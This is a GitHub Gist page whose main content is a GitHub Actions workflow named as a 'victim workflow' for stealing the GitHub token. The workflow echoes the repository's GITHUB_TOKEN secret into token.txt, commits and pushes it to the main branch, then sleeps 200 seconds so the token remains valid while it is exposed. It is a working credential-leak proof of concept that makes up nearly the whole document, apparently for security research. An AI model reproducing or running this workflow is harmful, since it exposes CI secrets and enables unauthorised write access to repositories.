Created
February 1, 2025 18:43
-
-
Save jayaram-yalla/f9df8c2ab6f259c254962bdd1a5fb355 to your computer and use it in GitHub Desktop.
Victim_workflow_Github_token_steal
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
name: make token wait | |
on: | |
workflow_dispatch: | |
jobs: | |
build_and_release: | |
runs-on: ubuntu-latest | |
permissions: | |
contents: write # Required to upload assets | |
env: # Set GITHUB_TOKEN globally for all steps | |
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
steps: | |
- name: print the current date #PRINT THE CURRENT DATE | |
run: | | |
date | |
- name: Checkout code | |
uses: actions/checkout@v3 | |
- name: Get Token #ECHO THE GITHUB TOKEN TO A FILE | |
run: | | |
echo $GITHUB_TOKEN > token.txt | |
- name: Commit the change #COMMIT THE CHANGES TO MAIN BRANCH | |
run: | | |
git config user.name "github-actions[bot]" | |
git config user.email "github-actions[bot]@users.noreply.github.com" | |
git add token.txt | |
git commit -m "commit the file" | |
- name: push the changes to main #MAKE THE PIPELINE WAIT FOR 200 SECONDS | |
run: | | |
git push origin main | |
sleep 200 | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment